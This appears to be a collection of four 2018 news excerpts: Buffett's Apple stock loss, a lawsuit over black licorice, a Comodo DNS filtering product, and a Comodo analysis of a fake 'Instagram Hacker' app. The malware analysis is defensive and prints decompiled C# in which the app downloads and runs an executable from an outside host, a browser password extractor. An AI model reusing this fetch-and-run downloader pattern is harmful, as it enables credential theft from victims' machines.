Warren Buffett loses nearly $4 billion in single day on his Apple stake |

https://www.cnbc.com/2018/11/02/warren-b...stake.html Warren Buffett loses nearly $4 billion in single day on his Apple stake
The Oracle of Omaha's company owned more than 250 million shares of Apple in June, as reported in Berkshire's latest holdings filing at the SEC.
Buffett's losses are likely even more painful: he told CNBC at the end of August that he bought more Apple shares since the end of June.
Thomas Franck | @tomwfranck
Published 12 Hours Ago Updated 7 Hours Ago Warren Buffett's Berkshire Hathaway lost more than $3.5 billion on Friday as Apple's stock headed for its worst day on Wall Street in more than four years.
Apple — which posted its fifth consecutive week of losses for the first time since 2012 on Friday — finished the day down 6.6 percent, its worst one-day move since January 2014. The Oracle of Omaha owned more than 250 million shares of the Cupertino, California-based company as reported in Berkshire's latest holdings filing at the Securities and Exchange Commission.
At Friday's closing price for Apple of $207.48, Buffett is down $3.7 billion. The company closed at $222.22 on Thursday before the disappointing report.
Apple's stock sank after the company's iPhone shipments for last quarter fell short of analyst expectations. The company also issued a financial outlook for the rest of the year that underwhelmed some investors. Those factors foiled the company's stronger-than-expected earnings and revenue.
However, Buffett's losses are likely even more painful: he told CNBC at the end of August that he bought more Apple shares since the end of June, when he reported that he bumped his stake up by 5 percent.
"We bought just a little [more]," he said about two months ago on CNBC in an interview with Becky Quick. Earlier this year, Apple became the first publicly traded U.S. company to reach $1 trillion in market value. Berkshire Hathaway is the second-largest holder of Apple shares with a stake worth about $52 billion, according to FactSet.
Despite Wall Street's concerns surrounding the iPhone maker's device sales, Buffett has often explained that his love for Apple stems less from short-term financial performance and more from the power of its brand and ecosystem.
"I do not focus on the sales in the next quarter or the next year," he said in August. "I focus on the ... hundreds, hundreds, hundreds millions of people who practically live their lives by it [iPhone]."
He also called the iPhone "enormously underpriced," saying that it's worth far more than the $1,000 Apple charges for its latest models.

Twizzlers black licorice candy contributed to his heart condition. |

https://www.msn.com/en-ca/health/wellnes...smsnnews11 Man Who Eats a Bag of Black Licorice Per Week Is Suing Twizzlers Over Heart Condition
Shay Spence 3 hrs ago
A 73-year-old New York man has filed a lawsuit against the Hershey Company, alleging that their Twizzlers black licorice candy contributed to his heart condition.
In 2017, the FDA issued a warning against glycyrrhizin, a sweetening compound that is found in black licorice. The federal agency claims this ingredient can lower potassium levels which can lead to heart problems, and warns adults over 40 that “eating 2 ounces of black licorice a day for at least two weeks could land you in the hospital with an irregular heart rhythm or arrhythmia.”
The New York Postfirst reported that David Goldberg, a Manhattan resident, has been “consuming at least one standard size bag per week” for “years,” according to Manhattan Supreme Court documents.

The lawsuit claims that Goldberg is a “healthy individual who is not obese” and “has never had any heart conditions,” according to the Post, but had recently been diagnosed with atrial fibrillation (an irregular heartbeat.) Though the FDA claims that potassium levels are “usually restored with no permanent health problems when consumption of black licorice stops,” Goldberg claims that has not been the case for him. In a statement to PEOPLE, the Hershey Company says: “We are not going to comment on the specific claims as this is pending litigation, but all of our products are safe to eat and formulated in full compliance with FDA regulations, including the agency’s regulation affirming the safety of licorice extract for use in food.”
Goldberg’s lawsuit, though, claims that the company has failed to warn customers of the dangers of black licorice and that they “knew for years that its black licorice candy posed a health threat.”

https://betanews.com/2018/10/31/comodo-i...-solution/ Comodo launches enhanced solution to secure internet access
By Ian Barker Published 1 day ago Businesses need to protect themselves against harmful websites, but recognizing which are dangerous and which are not can be a tricky task.
Cyber defense company Comodo is launching a new version of its cloud-delivered, DNS-based Security-as-a-Service (SaaS) solution that allows enterprises, medium-sized and small businesses, MSPs and channel partners to protect users’ digital presence.
Comodo Dome Shield Platinum implements a highly configurable web filter to check the content and reputation of sites against company IT policy based on both safety and appropriateness. It protects against threats like phishing, bots and botnets, command-and-control servers, spyware and spam.
The latest Platinum version builds on the earlier software to let businesses protect all internet-connected devices, with deployment across any size infrastructure, from a global enterprise to a small business.
It can deal with configurations based on internal IP addresses, subnets, IP address block and site-based web filtering, as well as supporting advanced threat policies, and providing IP-based visibility and monitoring. The Comodo solution is also capable of bypassing internal domain resolution and corporate DNS servers, with the option of encrypting all DNS traffic. Security and control for the whole business can be handled from a single point.
"Comodo created the Dome Shield solution by listening to real-world user needs, as well as requirements from MSPs and channel partners," says Bulut Akisik, Comodo Dome Shield product manager. "These organizations consume their IT budgets attempting to regulate employee web browsing and stopping web-borne attacks, in complex multi-office network environments, for roaming users and BYOD, and for the gamut of connected devices. For these and myriad other configurations, Comodo Dome Shield Platinum offers visibility, control and protection with rapid deployment and the lowest TCO."
It can be used on any type of internet-connected device including desktops, netbooks, tablets, mobile phones, appliances and IoT devices. There are endpoint agents for roaming laptops that are sometimes off-network, and mobile apps for iOS and Android.

Why Unwanted Applications are a Greater Threat than You Realize |

https://blog.comodo.com/comodo-news/how-...ty-threat/ The Way of Double Deception: Why Unwanted Applications are a Greater Threat than You Realize
August 27, 2018 | By Comodo
Many people don’t take Potentially Unwanted Applications (PUA) as a serious danger. The reason for such a reckless attitude is that PUA are usually installed with the consent of the user. But this opinion is a big mistake. And not only because a PUA can covertly install other programs like adware or spyware on a drive-by download basis. The vivid example below analyzed by Comodo Threat Research Labs experts clearly demonstrates that a PUA can be a much more threatening weapon.
Meet the software named “Instagram Hacker”. It has the official website https://hackinstagram.net/ and promises … to hack any Instagram account. More of that, you can download and install it for free. After installation, it prompts to enter an Instagram profile URL and hack the password. The result comes in a few seconds:
But after clicking “View Password” button, a new window appears: Clicking “Get An Activation Code” button redirects to “Buy page”. It offers to buy “Activation Code” but … can you smell a fraud in the air? It’s obvious, no software able to break an Instagram password for seconds can exist. So is Instagram Hacker just another deceiving tool to dupe simpletons? The best way to check it is to look inside the application code.
The code is protected with Dotnet Reactor but can be decoded with de4dot tool. And now we can see for sure the application is a tool of fraud. The first fragment of code just fakes progress demonstration indicator.
But another one is more interesting. As you can see, it contains a URL with an executable to download if activation was successful.
LoadingWindow()
{
Class2.qDiUy7EzyuIMj();
this.filename = “view.exe”;
this.uri = new Uri(“http://software-logistics.net/external/component/download/view.exe”);
this.InitializeComponent();
if (File.Exists(this.filename))
{
File.Delete(this.filename);
}
try
{
WebClient client1 = new WebClient();
client1.DownloadFileAsync(this.uri, this.filename);
client1.DownloadProgressChanged += new DownloadProgressChangedEventHandler(this.method_1);
client1.DownloadFileCompleted += new AsyncCompletedEventHandler(this.method_2);
}
catch
{
this.method_0();
}
}
}
}
If we run the executable, we will find out that it is the WebBrowserPassView application from NirSoft:
https://www.nirsoft.net/utils/web_browser_password.html
WebBrowserPassView is just a password extraction tool that reveals the passwords stored by the web browsers. So all passwords this software can extract are not Instagram’s but users’ own passwords kept in their browsers!
Let’s resume: all that Instagram Hacker does is the downloading and launching another PUA from NirSoft. So we obviously face with a fraud tool. Notice the manipulative psychological trick here: if a victim discovers she was cheated, she hardly reports the police about the incident. Because in that case, she would have to confess in trying to hack Instagram, that is an act of committing a cybercrime.
But it’s a thin end of the edge.
The most dangerous threat is that the URL in the application can be easily changed on any other with a malicious file that will be executed on a victim’s machine. So this PUA – as well as many other examples of such malware type – can be used for massive proliferation of various “heavy” malware like trojans, backdoors, ransomware etc.
And this is a good reason to take PUA as really dangerous malware. Because it may turn out to be a springboard for a devastating massive cyberattack.
“Today we shouldn’t consider malware as dangerous or not-so-dangerous,” says Fatih Orhan, the Head of the Comodo Threat Research Labs. ”Any malware does not exist in an isolated space. Nowadays cybercriminals build long malware chains to attack users, and, as you can see, PUA can be a link in such a killing chain. So we should call spade a spade. Yes, these applications are downloaded and run with users’ approval but, as in this case, the approval is extorted by fraud. Throughout potentially unwanted applications pretend to be legitimate, everybody needs to understand it’s just a camouflage. That’s why Comodo not only provide high-end technical protection but regularly informs users to prevent them from dangerous traps in the cyberspace”.
Live secure with Comodo!
